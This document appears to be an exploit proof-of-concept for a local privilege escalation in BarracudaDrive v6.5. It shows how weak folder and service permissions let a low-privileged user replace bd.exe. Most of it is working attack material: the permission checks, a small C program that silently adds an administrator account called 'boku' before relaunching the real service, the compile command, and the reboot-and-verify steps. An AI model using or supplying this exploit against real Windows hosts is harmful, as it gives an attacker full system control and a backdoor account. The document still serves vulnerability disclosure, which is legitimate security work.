# Vulnerability Description:
#   Insecure Service File Permissions in bd service in Real Time Logics BarracudaDrive v6.5 
#   allows local attackers to escalate privileges to admin via replacing the bd.exe file and 
#   restarting the computer where the malicious code  will be executed as 'LocalSystem' on 
#   the next startup automatically.

## Insecure Folder Permission
C:\>cacls C:\bd
C:\bd BUILTIN\Administrators:(OI)(CI)(ID)F
      NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F
      BUILTIN\Users:(OI)(CI)(ID)R
      NT AUTHORITY\Authenticated Users:(ID)C
      NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C

## Insecure File/Service Permission
C:\>cacls C:\bd\bd.exe
C:\bd\bd.exe BUILTIN\Administrators:(ID)F
             NT AUTHORITY\SYSTEM:(ID)F
             BUILTIN\Users:(ID)R
             NT AUTHORITY\Authenticated Users:(ID)C

C:\>sc qc bd

## Local Privilege Escalation Proof of Concept
#0.  Download & install 

#1.  Create low privileged user & change to the user
## As admin
C:\>net user lowpriv Password123! /add
C:\>net user lowpriv | findstr /i "Membership Name" | findstr /v "Full"
User name                    lowpriv
Local Group Memberships      *Users
Global Group memberships     *None

#2.  Move the Service EXE to a new name
C:\bd>whoami
desktop\lowpriv
C:\bd>move bd.exe bd.service.exe
        1 file(s) moved.

#3.  Create malicious binary on kali linux
## Add Admin User C Code
   kali# cat addAdmin.c
     int main(void){
     system("net user boku mypassword /add");
     system("net localgroup Administrators boku /add");
     WinExec("C:\\bd\\bd.service.exe",0);
    return 0;
    } 

## Compile Code
   kali# i686-w64-mingw32-gcc addAdmin.c -l ws2_32 -o bd.exe

#4. Transfer created 'bd.exe' to the Windows Host 

#5. Move the created 'bd.exe' binary to the 'C:\bd\' Folder
C:\bd>move C:\Users\lowpriv\Downloads\bd.exe .

#6. Check that exploit admin user doesn't exit
C:\bd>net user boku
The user name could not be found

#6. Reboot the Computer
C:\bd>shutdown /r

#7. Login & look at that new Admin
C:\Users\lowpriv>net user boku | findstr /i "Membership Name" | findstr /v "Full"
User name                    boku
Local Group Memberships      *Administrators       *Users
Global Group memberships     *None
